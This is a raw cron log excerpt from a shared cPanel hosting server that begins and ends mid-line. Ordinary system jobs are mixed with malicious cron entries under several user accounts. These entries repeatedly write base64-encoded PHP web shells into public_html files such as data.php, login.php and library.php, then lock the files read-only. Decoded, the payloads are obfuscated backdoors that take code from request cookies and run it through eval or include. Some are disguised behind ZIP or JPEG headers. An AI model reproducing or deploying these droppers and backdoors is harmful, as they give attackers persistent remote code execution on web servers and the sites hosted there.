"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:52:01 medusa CROND[28385]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:52:01 medusa CROND[28387]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:52:01 medusa CROND[28388]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:52:01 medusa CROND[28392]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:53:01 medusa CROND[17233]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 08:53:01 medusa CROND[17282]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:53:01 medusa CROND[17320]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:53:01 medusa CROND[17321]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:53:01 medusa CROND[17323]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:53:01 medusa CROND[17324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:53:01 medusa CROND[17325]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:53:01 medusa CROND[17327]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:53:01 medusa CROND[17328]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:53:01 medusa CROND[17334]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:53:01 medusa CROND[17336]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:53:01 medusa CROND[17335]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:54:01 medusa CROND[5248]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:54:01 medusa CROND[5249]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:54:01 medusa CROND[5250]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 08:54:01 medusa CROND[5251]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:54:01 medusa CROND[5254]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:54:01 medusa CROND[5256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:54:01 medusa CROND[5264]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:54:01 medusa CROND[5266]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:54:01 medusa CROND[5267]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:54:01 medusa CROND[5269]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:54:01 medusa CROND[5270]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:54:01 medusa CROND[5271]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 